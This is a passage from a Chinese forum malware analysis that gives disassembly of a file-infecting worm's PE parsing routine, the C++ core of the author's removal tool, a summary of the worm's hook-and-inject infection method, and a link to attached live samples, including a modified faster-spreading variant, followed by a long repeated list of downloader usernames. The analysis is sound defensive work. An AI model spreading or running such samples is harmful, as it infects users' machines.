008C4C30 B8 BBB9BABE [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], BEBAB9BB 008C4C35 BF E8EBE9EA [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edi[/color][/color], EAE9EBE8 008C4C3A EE [color=#0000D0][color=#0000D0]out[/color][/color] [color=#FF0000][color=#FF0000]dx[/color][/color], [color=#FF0000][color=#FF0000]al[/color][/color] 008C4C3B EF [color=#0000D0][color=#0000D0]out[/color][/color] [color=#FF0000][color=#FF0000]dx[/color][/color], [color=#FF0000][color=#FF0000]eax[/color][/color]
下面这段是关于GetPEFileInfo函数的一点OD笔记、也可以结合着在IDA里分析出的函数名一起看
00873140 /$ 53 [color=#0000D0][color=#0000D0]push[/color][/color] [color=#FF0000][color=#FF0000]ebx[/color][/color] 00873141 |. 8BD8 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]ebx[/color][/color], [color=#FF0000][color=#FF0000]eax[/color][/color] 00873143 |. 8B43 0C [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+C] 00873146 |. 8B4B 0C [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+C] 00873149 |. 0FB750 14 [color=#0000D0][color=#0000D0]movzx[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]word[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]eax[/color][/color]+14] [color=#008000]; SizeOfOptionalHeader;[/color] 0087314D |. 0FB741 06 [color=#0000D0][color=#0000D0]movzx[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]word[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ecx[/color][/color]+6] [color=#008000]; NumberOfSections;[/color] 00873151 |. 8BC8 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#FF0000][color=#FF0000]eax[/color][/color] 00873153 |. 8B43 0C [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+C] 00873156 |. C1E1 03 [color=#0000D0][color=#0000D0]shl[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], 3 00873159 |. 0353 04 [color=#0000D0][color=#0000D0]add[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+4] 0087315C |. 8D0C89 [color=#0000D0][color=#0000D0]lea[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ecx[/color][/color]+[color=#FF0000][color=#FF0000]ecx[/color][/color]*4] 0087315F |. 03D1 [color=#0000D0][color=#0000D0]add[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#FF0000][color=#FF0000]ecx[/color][/color] 00873161 |. 8B48 54 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]eax[/color][/color]+54] [color=#008000]; SizeOfHeaders;[/color] 00873164 |. 83C2 18 [color=#0000D0][color=#0000D0]add[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], 18 00873167 |. 2BCA [color=#0000D0][color=#0000D0]sub[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#FF0000][color=#FF0000]edx[/color][/color] 00873169 |. 83F9 28 [color=#0000D0][color=#0000D0]cmp[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], 28 0087316C |. 73 0E [color=#0000D0][color=#0000D0]jnb[/color][/color] [color=#0000D0]short[/color] 0087317C 0087316E |. 8B53 08 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+8] 00873171 |. 33C0 [color=#0000D0][color=#0000D0]xor[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#FF0000][color=#FF0000]eax[/color][/color] 00873173 |. C742 18 03000>[color=#0000D0][color=#0000D0]mov[/color][/color] [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]edx[/color][/color]+18], 3 0087317A |. 5B [color=#0000D0][color=#0000D0]pop[/color][/color] [color=#FF0000][color=#FF0000]ebx[/color][/color] 0087317B |. C3 [color=#0000D0][color=#0000D0]retn[/color][/color] 0087317C |> 8B53 0C [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+C] 0087317F |. 0FB74A 06 [color=#0000D0][color=#0000D0]movzx[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#b000b0]word[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]edx[/color][/color]+6] [color=#008000]; NumberOfSections;[/color] 00873183 |. 41 [color=#0000D0][color=#0000D0]inc[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color] 00873184 |. 8BC1 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#FF0000][color=#FF0000]ecx[/color][/color] 00873186 |. C1E0 03 [color=#0000D0][color=#0000D0]shl[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], 3 00873189 |. 8D0480 [color=#0000D0][color=#0000D0]lea[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]eax[/color][/color]+[color=#FF0000][color=#FF0000]eax[/color][/color]*4] 0087318C |. 50 [color=#0000D0][color=#0000D0]push[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color] 0087318D |. E8 E65A0400 [color=#0000D0][color=#0000D0]call[/color][/color] 008B8C78 00873192 |. 59 [color=#0000D0][color=#0000D0]pop[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color] 00873193 |. 8943 10 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+10], [color=#FF0000][color=#FF0000]eax[/color][/color] 00873196 |. 8B53 0C [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+C] 00873199 |. 8B43 08 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+8] 0087319C |. 0FB752 14 [color=#0000D0][color=#0000D0]movzx[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]word[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]edx[/color][/color]+14] [color=#008000]; SizeOfOptionalHeader;[/color] 008731A0 |. 0353 04 [color=#0000D0][color=#0000D0]add[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+4] 008731A3 |. 83C2 18 [color=#0000D0][color=#0000D0]add[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], 18 008731A6 |. E8 39F7FFFF [color=#0000D0][color=#0000D0]call[/color][/color] 008728E4 008731AB |. 8B4B 0C [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+C] 008731AE |. 8B53 10 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+10] 008731B1 |. 0FB741 06 [color=#0000D0][color=#0000D0]movzx[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]word[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ecx[/color][/color]+6] 008731B5 |. 8BC8 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#FF0000][color=#FF0000]eax[/color][/color] 008731B7 |. 8B43 08 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+8] 008731BA |. C1E1 03 [color=#0000D0][color=#0000D0]shl[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], 3 008731BD |. 8D0C89 [color=#0000D0][color=#0000D0]lea[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ecx[/color][/color]+[color=#FF0000][color=#FF0000]ecx[/color][/color]*4] [color=#008000]; 读取节表[/color] 008731C0 |. E8 2FF7FFFF [color=#0000D0][color=#0000D0]call[/color][/color] 008728F4 008731C5 |. 8B53 08 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+8] 008731C8 |. B9 28000000 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], 28 008731CD |. 8B43 08 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+8] 008731D0 |. 8B52 20 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]edx[/color][/color]+20] 008731D3 |. 83C2 58 [color=#0000D0][color=#0000D0]add[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], 58 008731D6 |. E8 19F7FFFF [color=#0000D0][color=#0000D0]call[/color][/color] 008728F4 008731DB |. 8B43 0C [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]+C] 008731DE |. 0FB750 06 [color=#0000D0][color=#0000D0]movzx[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]word[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]eax[/color][/color]+6] 008731E2 |. 8913 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebx[/color][/color]], [color=#FF0000][color=#FF0000]edx[/color][/color] 008731E4 |. B0 01 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]al[/color][/color], 1 008731E6 |. 5B [color=#0000D0][color=#0000D0]pop[/color][/color] [color=#FF0000][color=#FF0000]ebx[/color][/color] 008731E7 \. C3 [color=#0000D0][color=#0000D0]retn[/color][/color]
剩下大量的关于核心Dll的分析请参见附件中的idb文件。
下面的是我写的专杀中用于判断是否感染病毒和进行病毒清除的核心代码
[color=#0000D0]if[/color] (pSH->Name[0]=='.'&&\ (pSH->Name[1]-6==pSH->Name[2]-3)&&\ (pSH->Name[2]-3==pSH->Name[3])&&\ pSH->Name[4]==0x7) { [color=#0000D0]CString[/color] [color=#0000D0]str[/color]; [color=#0000D0]str[/color].Format([color=#808080]"Infected file found on %s"[/color],sPath); [b][color=#000080]OutputDebugString[/color][/b]([color=#0000D0]str[/color]); pSH= IMAGE_FIRST_SECTION(pNtH); [color=#0000D0]DWORD[/color] dwKey,dwStartAddr; dwStartAddr=rva2raw(pNtH->FileHeader.NumberOfSections, pSH, pNtH->OptionalHeader.AddressOfEntryPoint)+([color=#0000D0]DWORD[/color])lpFile; [color=#0000D0]DWORD[/color] dwEnd; dwEnd=([color=#0000D0]DWORD[/color])lpFile+[b][color=#000080]GetFileSize[/color][/b](hFile,0); [color=#0000D0]for[/color] (dwStartAddr;dwStartAddr<dwEnd;dwStartAddr++) { [color=#0000D0]if[/color]((*(([color=#0000D0]PBYTE[/color])dwStartAddr)&0xB0)==0xB0||*([color=#0000D0]PBYTE[/color])(dwStartAddr)==0x68) { dwKey=*([color=#0000D0]PDWORD[/color])(dwStartAddr+1); [color=#0000D0]break[/color]; } } [color=#0000D0]for[/color] (dwStartAddr+=5;dwStartAddr<dwEnd;dwStartAddr++) { [color=#0000D0]if[/color]((*(([color=#0000D0]PBYTE[/color])dwStartAddr)&0xB0)==0xB0||*([color=#0000D0]PBYTE[/color])(dwStartAddr)==0x68)[color=#008000]//mov edx,XXor push..[/color] { dwStartAddr=rva2raw(pNtH->FileHeader.NumberOfSections, pSH, *([color=#0000D0]PDWORD[/color])(dwStartAddr+1)-pNtH->OptionalHeader.ImageBase)+([color=#0000D0]DWORD[/color])lpFile; [color=#0000D0]break[/color]; } } [color=#0000D0]DWORD[/color] oep,imp1,imp2; oep=dwStartAddr+0x10; imp1=dwStartAddr+0x28; imp2=dwStartAddr+0x2C; oep=(*([color=#0000D0]PDWORD[/color])oep)^dwKey; imp1=(*([color=#0000D0]PDWORD[/color])imp1)^dwKey; imp1=[color=#008000]/*rva2raw(pNtH->FileHeader.NumberOfSections, pSH,*/[/color] imp1-pNtH->OptionalHeader.ImageBase;[color=#008000]//);[/color] imp2=(*([color=#0000D0]PDWORD[/color])imp2)^dwKey; imp2=[color=#008000]/*rva2raw(pNtH->FileHeader.NumberOfSections, pSH,*/[/color] imp2-pNtH->OptionalHeader.ImageBase;[color=#008000]//);[/color] [color=#0000D0]str[/color].Format([color=#808080]"OEP RVA found at: 0x%.8X"[/color],oep); [b][color=#000080]OutputDebugString[/color][/b]([color=#0000D0]str[/color]); [color=#0000D0]str[/color].Format([color=#808080]"First API name swap RVA found at : 0x%.8X\n"[/color],imp1); [b][color=#000080]OutputDebugString[/color][/b]([color=#0000D0]str[/color]); [color=#0000D0]str[/color].Format([color=#808080]"Second API name swap RVA found at : 0x%.8X\n"[/color],imp2); [b][color=#000080]OutputDebugString[/color][/b]([color=#0000D0]str[/color]); pImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)(([color=#0000D0]DWORD[/color])lpFile+ rva2raw(pNtH->FileHeader.NumberOfSections, pSH, pNtH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)); [color=#0000D0]while[/color](pImportDescriptor->FirstThunk) { [color=#0000D0]char[/color]* dllname = ([color=#0000D0]char[/color]*)(([color=#0000D0]DWORD[/color])lpFile + rva2raw(pNtH->FileHeader.NumberOfSections, pSH, pImportDescriptor->Name)); [color=#0000D0]if[/color] (!stricmp(dllname,[color=#808080]"kernel32.dll"[/color])) { pThunkData = (PIMAGE_THUNK_DATA)(([color=#0000D0]DWORD[/color])lpFile+ rva2raw(pNtH->FileHeader.NumberOfSections, pSH, pImportDescriptor->OriginalFirstThunk)); pThunkData->u1.Function = imp1-2; pThunkData++; pThunkData->u1.Function = imp2-2; [color=#0000D0]break[/color]; } [color=#0000D0]else[/color] pImportDescriptor++; } pNtH->OptionalHeader.AddressOfEntryPoint=oep; pSH= IMAGE_FIRST_SECTION(pNtH)+pNtH->FileHeader.NumberOfSections-1; dwSection=pSH->PointerToRawData; [color=#FF0000]memset[/color](pSH,0,[color=#0000D0]sizeof[/color](PIMAGE_SECTION_HEADER)); pNtH->FileHeader.NumberOfSections--; pNtH->OptionalHeader.SizeOfImage-=0x1000; cntVirus++; memcpy(pNewBuf,([color=#0000D0]PCHAR[/color])lpFile+dwSection-4,4); }
完全代码请参见附件中的ResidentKiller源代码。
--------------------------------------------------------------------------------
【经验总结】
我给这个病毒起个名字好了,综合网上查到的资料和各大杀毒引擎的结果,给这个病毒命名为Worm.Parite.Residented
VirusTotal扫描结果
http://www.virustotal.com/zh-cn/analisis/47bd590e99bee93bb0b46d7b74d60da3c931b8115122a4b450045591ea366399-1280672787
- -专杀的源码写的太挫了,大家就凑合着看吧、第一次在实战中应用dfs和bfs……应该算是吧……反正是学病毒里遍历磁盘的方法
非常感谢气泡熊的解答、还有师傅。
附件目录以及Hash
附件外链:http://fs.unpack.cn/?fs=26&u=145
病毒的主体思路:首先由感染病毒的文件中的Loader释放病毒Dll并调用Initiate函数,然后注入全局钩子,其中Explorer会在装载Dll时发动一个新的线程去做坏事、这样即使钩子卸掉了,病毒还是可以存活在Explorer中。然后分出来的线程负责感染硬盘exe和src文件、
终于做完专杀了……时间2010.7.31.21:59
专杀思路:UnHook掉所有类型为CALLWND的钩子,因为如果感染病毒的进程运行的话,很多的进程都会因为它的钩子而插入一个Dll,这样将导致病毒核心Dll无法被清除,然后结束掉两个有CALLWND的进程,这两个程序的Dll是没有办法用UnHook卸掉的、只能干掉。bfsFile一次搜索8个文件,避免CPU过高被发现,然后慢慢感染……
- -花了1天而已……开发速度已经比以前有了飞跃式的进展……当然以前也没有一次搞过这么长时间编程。
病毒分析告一段落了,反正专杀都做出来了,- -剩下的代码分析的太详细了反而不是很好。
第一次在实战中应用bfs和dfs啊……应该算是吧、
拖了这么长时间啊……- -真是太对不起你了,电脑啊……今天才给你复仇啊……
附件里有3个样本,一个是病毒的核心Dll,一个是经过原版(- -实际上我后来发现我只留了个解压缩过的Dll,原版已经找不到了,不过一样分析……哈哈~)Dll感染过的DeathStartup,一个是经过改良的(因为原版感染速度实在太糟糕了,bfsFile的时候8个文件中间就要隔N长时间。懒得等的同学可以使用第二个附件,No_Delay版本……)不这个版本对硬盘不是很友好的说……
就这样吧……皆さん、頑張つてください
--------------------------------------------------------------------------------
【版权声明】: 转载请注明作者并保持文章的完整, 谢谢!
2010年08月04日
Azure[LCG]
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
赞赏
他的文章
谁下载
kanxue
forgot
kernels
winndy
我爱我家
lllufh
moodsky
siryuan
wangshy
zxc
zuoyefeng
snappy
rooky2000
hibixie
不古龙
rhettxie
warcraft
peaceclub
ferrari_fei
suiyingjie
maomaoma
keren_1985
supertu
supermana
progray
yijun8354
moodykeke
htsf110
pentacleNC
webwizard
Aker
VC菜鸟
chenjun
foria
wangkaicj
寻找狼群
XiaosanAiq
foxabu
YwdxY
plume
天外来客
amwmqj
jinyh
yiyiguxing
crazybug
lightgun
lendy
bootdisk
Bewaar
asd
fanzige
锾の怒
lclee
stuwolf
月照寒枝
firabc
网络游侠
KiSSinGGer
hackroad
programfan
netwind
luohb
jollygrass
niuhacker
wuweizi
qinmiaozn
AEVE
平淡如水
jerrynpc
cvcvxk
takile
bgtwoigu
chuxue
whxright
draglog
星辰
小子贼野
麦田的怪
rocketming
nop
tenderelf
sudami
allkilled
Eter
hokers
kernelwin
darkbasic
轩辕小聪
comealong
风の忆
dfsy
NeteLife
xiaofo
Esper
coollineme
希望有你
hwfdvd
cage
心随风落
谁下载
kanxue
forgot
kernels
winndy
我爱我家
lllufh
moodsky
siryuan
wangshy
zxc
zuoyefeng
snappy
rooky2000
hibixie
不古龙
rhettxie
warcraft
peaceclub
ferrari_fei
suiyingjie
maomaoma
keren_1985
supertu
supermana
progray
yijun8354
moodykeke
htsf110
pentacleNC
webwizard
Aker
VC菜鸟
chenjun
foria
wangkaicj
寻找狼群
XiaosanAiq
foxabu
YwdxY
plume
天外来客
amwmqj
jinyh
yiyiguxing
crazybug
lightgun
lendy
bootdisk
Bewaar
asd
fanzige
锾の怒
lclee
stuwolf
月照寒枝
firabc
网络游侠
KiSSinGGer
hackroad
programfan
netwind
luohb
jollygrass
niuhacker
wuweizi
qinmiaozn
AEVE
平淡如水
jerrynpc
cvcvxk
takile
bgtwoigu
chuxue
whxright
draglog
星辰
小子贼野
麦田的怪
rocketming
nop
tenderelf
sudami
allkilled
Eter
hokers
kernelwin
darkbasic
轩辕小聪
comealong
风の忆
dfsy
NeteLife
xiaofo
Esper
coollineme
希望有你
hwfdvd
cage
心随风落
谁下载
kanxue
forgot
kernels
winndy
我爱我家
lllufh
moodsky
siryuan
wangshy
zxc
zuoyefeng
snappy
rooky2000
hibixie
不古龙
rhettxie
warcraft
peaceclub
ferrari_fei
suiyingjie
maomaoma
keren_1985
supertu
supermana
progray
yijun8354
moodykeke
htsf110
pentacleNC
webwizard
Aker
VC菜鸟
chenjun
foria
wangkaicj
寻找狼群
XiaosanAiq
foxabu
YwdxY
plume
天外来客
amwmqj
jinyh
yiyiguxing
crazybug
lightgun
lendy
bootdisk
Bewaar
asd
fanzige
锾の怒
lclee
stuwolf
月照寒枝
firabc
网络游侠
KiSSinGGer
hackroad
programfan
netwind
luohb
jollygrass
niuhacker
wuweizi
qinmiaozn
AEVE
平淡如水
jerrynpc
cvcvxk
takile
bgtwoigu
chuxue
whxright
draglog
星辰
小子贼野
麦田的怪
rocketming
nop
tenderelf
sudami
allkilled
Eter
hokers
kernelwin
darkbasic
轩辕小聪
comealong
风の忆
dfsy
NeteLife
xiaofo
Esper
coollineme
希望有你
hwfdvd
cage
心随风落
谁下载
kanxue
forgot
kernels
winndy
我爱我家
lllufh
moodsky
siryuan
wangshy
zxc
zuoyefeng
snappy
rooky2000
hibixie
不古龙
rhettxie
warcraft
peaceclub
ferrari_fei
suiyingjie
maomaoma
keren_1985
supertu
supermana
progray
yijun8354
moodykeke
htsf110
pentacleNC
webwizard
Aker
VC菜鸟
chenjun
foria
wangkaicj
寻找狼群
XiaosanAiq
foxabu
YwdxY
plume
天外来客
amwmqj
jinyh
yiyiguxing
crazybug
lightgun
lendy
bootdisk
Bewaar
asd
fanzige
锾の怒
lclee
stuwolf
月照寒枝
firabc
网络游侠
KiSSinGGer
hackroad
programfan
netwind
luohb
jollygrass
niuhacker
wuweizi
qinmiaozn
AEVE
平淡如水
jerrynpc
cvcvxk
takile
bgtwoigu
chuxue
whxright
draglog
星辰
小子贼野
麦田的怪
rocketming
nop
tenderelf
sudami
allkilled
Eter
hokers
kernelwin
darkbasic
轩辕小聪
comealong
风の忆
dfsy
NeteLife
xiaofo
Esper
coollineme
希望有你
hwfdvd
cage
心随风落
谁下载
kanxue
forgot
kernels
winndy
我爱我家
lllufh
moodsky
siryuan
wangshy
zxc
zuoyefeng
snappy
rooky2000
hibixie
不古龙
rhettxie
warcraft
peaceclub
ferrari_fei
suiyingjie
maomaoma
keren_1985
supertu
supermana
progray
yijun8354
moodykeke
htsf110
pentacleNC
webwizard
Aker
VC菜鸟
chenjun
foria
wangkaicj
寻找狼群
XiaosanAiq
foxabu
YwdxY
plume
天外来客
amwmqj
jinyh
yiyiguxing
crazybug
lightgun
lendy
bootdisk
Bewaar
asd
fanzige
锾の怒
lclee
stuwolf
月照寒枝
firabc
网络游侠
KiSSinGGer
hackroad
programfan
netwind
luohb
jollygrass
niuhacker
wuweizi
qinmiaozn
AEVE
平淡如水
jerrynpc
cvcvxk
takile
bgtwoigu
chuxue
whxright
draglog
星辰
小子贼野
麦田的怪
rocketming
nop
tenderelf
sudami
allkilled
Eter
hokers
kernelwin
darkbasic
轩辕小聪
comealong
风の忆
dfsy
NeteLife
xiaofo
Esper
coollineme
希望有你
hwfdvd
cage
心随风落
谁下载
kanxue
forgot
kernels
winndy
我爱我家
lllufh
moodsky
siryuan
wangshy
zxc
zuoyefeng
snappy
rooky2000
hibixie
不古龙
rhettxie
warcraft
peaceclub
ferrari_fei
suiyingjie
maomaoma
keren_1985
supertu
supermana
progray
yijun8354
moodykeke
htsf110
pentacleNC
webwizard
Aker
VC菜鸟
chenjun
foria
wangkaicj
寻找狼群
XiaosanAiq
foxabu
YwdxY
plume
天外来客
amwmqj
jinyh
yiyiguxing
crazybug
lightgun
lendy
bootdisk
Bewaar
asd
fanzige
锾の怒
lclee
stuwolf
月照寒枝
firabc
网络游侠
KiSSinGGer
hackroad
programfan
netwind
luohb
jollygrass
niuhacker
wuweizi
qinmiaozn
AEVE
平淡如水
jerrynpc
cvcvxk
takile
bgtwoigu
chuxue
whxright
draglog
星辰
小子贼野
麦田的怪
rocketming
nop
tenderelf
sudami
allkilled
Eter
hokers
kernelwin
darkbasic
轩辕小聪
comealong
风の忆
dfsy
NeteLife
xiaofo
Esper
coollineme
希望有你
hwfdvd
cage
心随风落
谁下载
kanxue
forgot
kernels
winndy
我爱我家
lllufh
moodsky
siryuan
wangshy
zxc
zuoyefeng
snappy
rooky2000
hibixie
不古龙
rhettxie
warcraft
peaceclub
ferrari_fei
suiyingjie
maomaoma
keren_1985
supertu
supermana
progray
yijun8354
moodykeke
htsf110
pentacleNC
webwizard
Aker
VC菜鸟
chenjun
foria
wangkaicj
寻找狼群
XiaosanAiq
foxabu
YwdxY
plume
天外来客
amwmqj
jinyh
yiyiguxing
crazybug
lightgun
lendy
bootdisk
Bewaar
asd
fanzige
锾の怒
lclee
stuwolf
月照寒枝
firabc
网络游侠
KiSSinGGer
hackroad
programfan
netwind
luohb
jollygrass
niuhacker
wuweizi
qinmiaozn
AEVE
平淡如水
jerrynpc
cvcvxk
takile
bgtwoigu
chuxue
whxright
draglog
星辰
小子贼野
麦田的怪
rocketming
nop
tenderelf
sudami
allkilled
Eter
hokers
kernelwin
darkbasic
轩辕小聪
comealong
风の忆
dfsy
NeteLife
xiaofo
Esper
coollineme
希望有你
hwfdvd
cage
心随风落
谁下载
kanxue
forgot
kernels
winndy
我爱我家
lllufh
moodsky
siryuan
wangshy
zxc
zuoyefeng
snappy
rooky2000
hibixie
不古龙
rhettxie
warcraft
peaceclub
ferrari_fei
suiyingjie
maomaoma
keren_1985
supertu
supermana
progray
yijun8354
moodykeke
htsf110
pentacleNC
webwizard
Aker
VC菜鸟
chenjun
foria
wangkaicj
寻找狼群
XiaosanAiq
foxabu
YwdxY
plume
天外来客
amwmqj
jinyh
yiyiguxing
crazybug
lightgun
lendy
bootdisk
Bewaar
asd
fanzige
锾の怒
lclee
stuwolf
月照寒枝
firabc
网络游侠
KiSSinGGer
hackroad
programfan
netwind
luohb
jollygrass
niuhacker
wuweizi
qinmiaozn
AEVE
平淡如水
jerrynpc
cvcvxk
takile
bgtwoigu
chuxue
whxright
draglog
星辰
小子贼野
麦田的怪
rocketming
nop
tenderelf
sudami
allkilled
Eter
hokers
kernelwin
darkbasic
轩辕小聪
comealong
风の忆
dfsy
NeteLife
xiaofo
Esper
coollineme
希望有你
hwfdvd
cage
心随风落
谁下载
kanxue
forgot
kernels
winndy
我爱我家
lllufh
moodsky
siryuan
wangshy
zxc
zuoyefeng
snappy
rooky2000
hibixie
不古龙
rhettxie
warcraft
peaceclub
ferrari_fei
suiyingjie
maomaoma
keren_1985
supertu
supermana
progray
yijun8354
moodykeke
htsf110
pentacleNC
webwizard
Aker
VC菜鸟
chenjun
foria
wangkaicj
寻找狼群
XiaosanAiq
foxabu
YwdxY
plume
天外来客
amwmqj
jinyh
yiyiguxing
crazybug
lightgun
lendy
bootdisk
Bewaar
asd
fanzige
锾の怒
lclee
stuwolf
月照寒枝
firabc
网络游侠
KiSSinGGer
hackroad
programfan
netwind
luohb
jollygrass
niuhacker
wuweizi
qinmiaozn
AEVE
平淡如水
jerrynpc
cvcvxk
takile
bgtwoigu
chuxue
whxright
draglog
星辰
小子贼野
麦田的怪
rocketming
nop
tenderelf
sudami
allkilled
Eter
hokers
kernelwin
darkbasic
轩辕小聪
comealong
风の忆
dfsy
NeteLife
xiaofo
Esper
coollineme
希望有你
hwfdvd
cage
心随风落
谁下载
kanxue
forgot
kernels
winndy
我爱我家
lllufh
moodsky
siryuan
wangshy
zxc
zuoyefeng
snappy
rooky2000
hibixie
不古龙
rhettxie
warcraft
peaceclub
ferrari_fei
suiyingjie
maomaoma
keren_1985
supertu
supermana
progray
yijun8354
moodykeke
htsf110
pentacleNC
webwizard
Aker
VC菜鸟
chenjun
foria
wangkaicj
寻找狼群
XiaosanAiq
foxabu
YwdxY
plume
amwmqj
jinyh
yiyiguxing
crazybug
lightgun
lendy
bootdisk
Bewaar
asd
fanzige
锾の怒
lclee
stuwolf
月照寒枝
firabc
网络游侠
KiSSinGGer
hackroad
programfan
netwind
luohb
jollygrass
niuhacker
wuweizi
qinmiaozn
AEVE
平淡如水
jerrynpc
cvcvxk
takile
bgtwoigu
chuxue
whxright
draglog
星辰
小子贼野
麦田的怪
rocketming
nop
tenderelf
sudami
allkilled
Eter
hokers
kernelwin
darkbasic
轩辕小聪
